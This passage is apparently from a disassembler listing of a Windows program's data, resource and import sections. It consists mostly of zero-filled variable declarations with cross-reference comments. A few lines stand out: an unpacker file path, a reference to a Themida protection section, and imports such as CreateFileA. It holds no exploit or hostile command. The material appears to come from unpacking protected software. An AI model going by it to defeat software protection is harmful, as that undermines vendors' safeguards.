sub_409B12+AE6r ... dword_4CB6A4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CB6A8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CB6AC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB6B0 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB6B4 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB6B8 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB6BC dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB6C0 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB6C4 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB6C8 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB6CC dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB6D0 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB6D4 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB6DC dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB6E0 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB6E4 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB6E8 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB6EC dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB6F0 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB6F4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB6F8 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB6FC dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB700 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB704 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB708 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB70C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB710 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB714 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB718 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB71C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB720 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB724 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB728 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB72C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB730 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB734 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB738 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB73C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB740 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB744 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB748 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB74C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB750 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB754 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB770 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB774 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD770 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD788 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD78C dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD790 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD794 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD798 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD818 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD81C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD820 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD828 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD82C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD930 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CDA34 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CDA38 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CDA3C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CDA40 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CDAC0 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CDAC4 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CDAC8 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CDAD0 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CDAD4 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CDBD8 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CDCDC dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CDCE0 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CDCE4 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CDCE8 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CDD68 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CDD6C dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CDD70 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CDD78 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CDD7C dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CE004 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CE108 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CE110 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CE114 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CE118 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CE11C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CE124 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CE12C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CE130 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CE134 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CE33C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CE344 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CE34C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CE354 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CE360 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CE364 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CE36C dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CE374 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CE378 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CE388 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CE390 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE7B8 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CEDD8 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CF24C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D324C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D3250 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D3258 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D3290 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D3490 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D3C90 dd 130h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437EF0o dd 0CFh dup(0) dword_4D4490 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D4494 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D4498 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D449C dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D44A0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D46A0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D46A8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D46AC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D46B0 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D46B4 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D46B8 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D46BC dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D46C4 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 7Fh dup(0) dword_4D48C4 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DADD8 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DADDC dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DAFE0 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DB03C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DB23C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DB240 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DB29C dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DB49C db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DB4A0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DB6A0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB8A4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB8A8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB8AC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB8B0 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB8B4 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB8E8 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB8F0 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB928 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB92C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB930 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB944 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB948 dd 2440B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB950 dd 2440B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB954 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB958 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB960 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB968 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB96C dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB970 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB974 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB97C dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB980 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB988 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB98A dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB98E dw 0 ; DATA XREF: sub_41D081+3Br word_4DB990 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB992 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB998 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB9A0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB9A4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB9A8 dd 0 ; DATA XREF: sub_41F312r dword_4DB9AC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB9B0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB9B4 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB9BC dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB9C0 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB9C4 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB9C8 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB9CC dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB9D0 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB9D4 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB9D8 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB9DC dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB9E4 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB9F4 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB9FC dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DBA00 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB960o align 10h dd 3Ah dup(0) dword_4DBB08 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DBB0C dd 0 ; DATA XREF: sub_423590+21r dword_4DBB10 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DBB14 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DBB18 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DBB20 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DBB22 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DBB24 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DBB40 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DBB44 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DBB48 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DBB4C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DBB50 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DBB58 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DBB60 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DBB64 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DBBA4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DBBA6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DBBA8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DBBAA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DBBAC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DBBAE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DBBB0 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DBBB2 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DBBB4 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DBBB8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DBBF8 dw 0 ; DATA XREF: sub_424A4A+46r word_4DBBFA dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DBBFC dw 0 ; DATA XREF: sub_424A4A+67r word_4DBBFE dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DBC00 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DBC02 dw 0 ; DATA XREF: sub_424A4A+55r word_4DBC04 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DBC06 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DBC08 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DBC0C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DBC10 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DBC14 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DBC18 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DBC1C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DBC20 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DBC24 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DBC28 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DBC2C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DBC30 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DBC38 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DBC3C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DBC40 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DBC44 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DBC48 dd 2441140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... dd 5 dup(0) dword_4DBC60 dd 400h dup(0) ; DATA XREF: ___:off_43D098o ; ___:0043D0A0o dword_4DCC60 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DCC80 dd 2440650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DCC84 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DCD80 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DCD84 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DCD90 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DCD9C dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DCDA0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DCEA0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DCEA1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DCFA4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DCFA8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DCFAC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DCFB0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DCFB4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DCFB8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DCFBC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DCFC0 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DCFC4 dd 2440000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DCFC8 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DCFCC dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DCFD0 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DCFD4 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DCFD8 dd 2440758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DCFDC dd 2440758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 8 dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 db 0 dd 0F9h dup(0) db 0 ; DATA XREF: Themida_:005520FCo db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 